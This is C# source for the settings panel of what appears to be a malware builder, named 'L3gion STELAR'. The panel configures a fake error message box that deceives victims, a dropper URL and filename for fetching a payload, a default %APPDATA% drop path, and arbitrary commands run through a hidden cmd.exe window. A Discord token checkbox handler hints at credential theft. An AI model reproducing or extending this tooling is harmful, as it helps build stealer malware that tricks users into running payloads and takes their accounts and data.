using legion.builder;
using legion.builder.Build;
using sendweb;
using Siticone.UI.WinForms;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using legion.builder.Components.Build;
using legion.FakeMessageBox;
using System.Diagnostics;

namespace L3gion_STELAR
{
    public partial class setter : UserControl
    {
        public setter()
        {
            InitializeComponent();
        }

        private void setter_Load(object sender, EventArgs e)
        {
            siticoneComboBox3.Text = "%APPDATA%";
            btnabout.Hide();
            btnretry.Hide();
            btnIgnore.Hide();
            ButnOK.Hide();
            siticoneComboBox1.Text = "None";
            siticoneComboBox2.Text = "OK";
            ButnOK.Show();

            pictureBox2.Hide();
            warningpic.Hide();
            infopic.Hide();
            questionpic.Hide();
        }

        private void siticoneTextBox2_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void RefreshControls()
        {


            Settings.messageboxer = fakemessageboxcheck.Checked;

            Settings.MessageBoxOption = siticoneComboBox2.Text;
            Settings.MessageBoxText = siticoneTextBox1.Text;
            Settings.MessageBoxName = siticoneTextBox2.Text;
            Settings.MessageBoxIcon = siticoneComboBox1.Text;

            Settings.DropURLCHECK = droppercheck.Checked;

            Settings.DropURL = dropperlinktext.Text;
            Settings.DropFilename = dropfilename.Text;

            Settings.ShellCoderExecutCheck = shellercoder.Checked;
            Settings.Shellcodertext = shellcodertext.Text;
            Settings.fakercmd = fakercmd.Checked;
        }


        private void siticoneButton2_Click(object sender, EventArgs e)
        {
            RefreshControls();
;            FakeMessageBoxCreator.createMessageBox(siticoneComboBox2.Text, siticoneTextBox1.Text, siticoneTextBox2.Text, siticoneComboBox1.Text);
        }

        private void siticoneComboBox1_SelectedIndexChanged(object sender, EventArgs e)
        {
            RefreshControls();
            if(siticoneComboBox1.Text == "Error")
            {
                pictureBox2.Show();
                infopic.Hide();
                warningpic.Hide();
                questionpic.Hide();
            }
            if (siticoneComboBox1.Text == "Information")
            {
                pictureBox2.Hide();
                infopic.Show();
                warningpic.Hide();
                questionpic.Hide();
            }
            if (siticoneComboBox1.Text == "Exclamation")
            {
                warningpic.Show();
                pictureBox2.Hide();
                infopic.Hide();
             
                questionpic.Hide();
            }
            if(siticoneComboBox1.Text == "Question")
            {
                questionpic.Show();
                warningpic.Hide();
                pictureBox2.Hide();
                infopic.Hide();

            }
            if (siticoneComboBox1.Text == "None")
            {
                questionpic.Hide();
                warningpic.Hide();
                pictureBox2.Hide();
                infopic.Hide();

            }
        }

        private void siticoneComboBox2_SelectedIndexChanged(object sender, EventArgs e)
        {
            RefreshControls();

            if (siticoneComboBox2.Text == "OK")
            {
                btnretry.Hide();
                btnabout.Hide();
                btnIgnore.Hide();
                ButnOK.Show();
            }
            if (siticoneComboBox2.Text == "AbortRetryIgnore")
            {
                ButnOK.Hide();
                btnretry.Show();
                btnabout.Show();
                btnIgnore.Show();
                btnretry.Text = "Retry";
                btnabout.Text = "Abort";
                btnIgnore.Text = "Ignore";
            }
            if(siticoneComboBox2.Text == "OKCancel")
            {
                btnabout.Hide();
                ButnOK.Hide();
                btnretry.Show();
                btnIgnore.Show();
                btnretry.Text = "OK";
                btnIgnore.Text = "Cancel";
            }
            if( siticoneComboBox2.Text == "YesNo")
            {
                btnabout.Hide();
                ButnOK.Hide();
                btnretry.Show();
                btnIgnore.Show();
                btnretry.Text = "Yes";
                btnIgnore.Text = "No";
            }
            if(siticoneComboBox2.Text == "YesNoCancel")
            {
                btnabout.Show();
                ButnOK.Hide();
                btnretry.Show();
                btnIgnore.Show();
                btnabout.Text = "Yes";
                btnretry.Text = "No";
                btnIgnore.Text = "Cancel";
            }
            if(siticoneComboBox2.Text == "RetryCancel")
            {
                btnabout.Hide();
                ButnOK.Hide();
                btnretry.Show();
                btnIgnore.Show();
               
                btnretry.Text = "Retry";
                btnIgnore.Text = "Cancel";
            }
          
        }

        private void siticoneGroupBox1_Click(object sender, EventArgs e)
        {

        }

        private void DiscordTokenCheckbox_CheckedChanged(object sender, EventArgs e)
        {
       
        }

        private void siticoneTextBox1_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void btnIgnore_Click(object sender, EventArgs e)
        {

        }

        private void siticoneTextBox3_TextChanged(object sender, EventArgs e)
        {
            
            RefreshControls();

        }

        private void siticoneCheckBox1_CheckedChanged(object sender, EventArgs e)
        {

           


            RefreshControls();
        }

        private void siticoneComboBox3_SelectedIndexChanged(object sender, EventArgs e)
        {
            RefreshControls();

        }

        private void siticoneTextBox3_TextChanged_1(object sender, EventArgs e)
        {
            RefreshControls();
        }

        private void siticoneCheckBox2_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }

        private void shellcodertext_TextChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }
        public void ExecuteCommand(string command)
        {
            int ExitCode;
            ProcessStartInfo ProcessInfo;
            Process Process;

            ProcessInfo = new ProcessStartInfo("cmd.exe", "/c " + command);
            ProcessInfo.CreateNoWindow = true;
            ProcessInfo.UseShellExecute = false;

            Process = Process.Start(ProcessInfo);
            Process.WaitForExit();

            ExitCode = Process.ExitCode;
            Process.Close();

            MessageBox.Show("ExitCode: " + ExitCode.ToString(), "ExecuteCommand");
        }
        private void siticoneButton4_Click(object sender, EventArgs e)
        {
            if(showpowershellwindow.Checked)
            {
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
                startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
                startInfo.FileName = "cmd.exe";
                startInfo.Arguments = "";
                process.StartInfo = startInfo;
                process.Start();
            }
            try
            {
                  Process.Start("cmd.exe", "/c " + shellcodertext.Text);
            
                
            }
            catch(Exception ex)
            {
                MessageBox.Show($"ERROR:\n{ex}" , "Warning Error!!" , MessageBoxButtons.OK,MessageBoxIcon.Error);
            }
        }

        private void fakercmd_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }

        private void showpowershellwindow_CheckedChanged(object sender, EventArgs e)
        {
            RefreshControls();
        }
    }
}
